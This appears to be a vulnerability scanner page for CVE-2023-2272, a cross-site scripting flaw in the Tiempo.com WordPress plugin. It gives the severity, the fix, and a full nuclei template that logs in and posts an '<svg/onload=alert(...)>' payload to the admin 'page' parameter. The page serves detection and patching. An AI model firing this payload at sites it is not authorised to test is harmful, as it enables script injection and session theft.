Tiempo.com <= 0.1.2 - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.9%likelihood of exploitation, next 30 days

59%of all CVEs are less likely

Readycheck to confirm it

Tiempo.com before 0.1.2 is susceptible to cross-site scripting via the page parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Upgrade to a patched version of Tiempo.com (version 0.1.3 or above) that addresses the XSS vulnerability.

How to confirm it

Send: POST /wp-login.php ; POST /wp-admin/admin.php?page=tiempocom%2Fapp%2Fadmin.php
Positive when: status_code_2 == 200 and contains(content_type_2, "text/html") and contains(body_2, "<svg/onload=alert(document.domain)>") and contains(body_2, "Tiempo")

Run it with nuclei: nuclei -id CVE-2023-2272 -u <target>

The full check

id: CVE-2023-2272

info:
  name: Tiempo.com <= 0.1.2 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Tiempo.com before 0.1.2 is susceptible to cross-site scripting via the page parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to a patched version of Tiempo.com (version 0.1.3 or above) that addresses the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/dba60216-2753-40b7-8f2b-6caeba684b2e
    - https://wordpress.org/plugins/tiempocom/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2272
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2272
    cwe-id: CWE-79
    epss-score: 0.0085
    epss-percentile: 0.58475
    cpe: cpe:2.3:a:tiempo:tiempo:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: tiempo
    product: tiempo
    framework: wordpress
  tags: cve,cve2023,wpscan,wp,wp-plugin,wordpress,authenticated,xss,tiempocom,tiempo,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        POST /wp-admin/admin.php?page=tiempocom%2Fapp%2Fadmin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        page=%22%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "<svg/onload=alert(document.domain)>")'
          - 'contains(body_2, "Tiempo")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from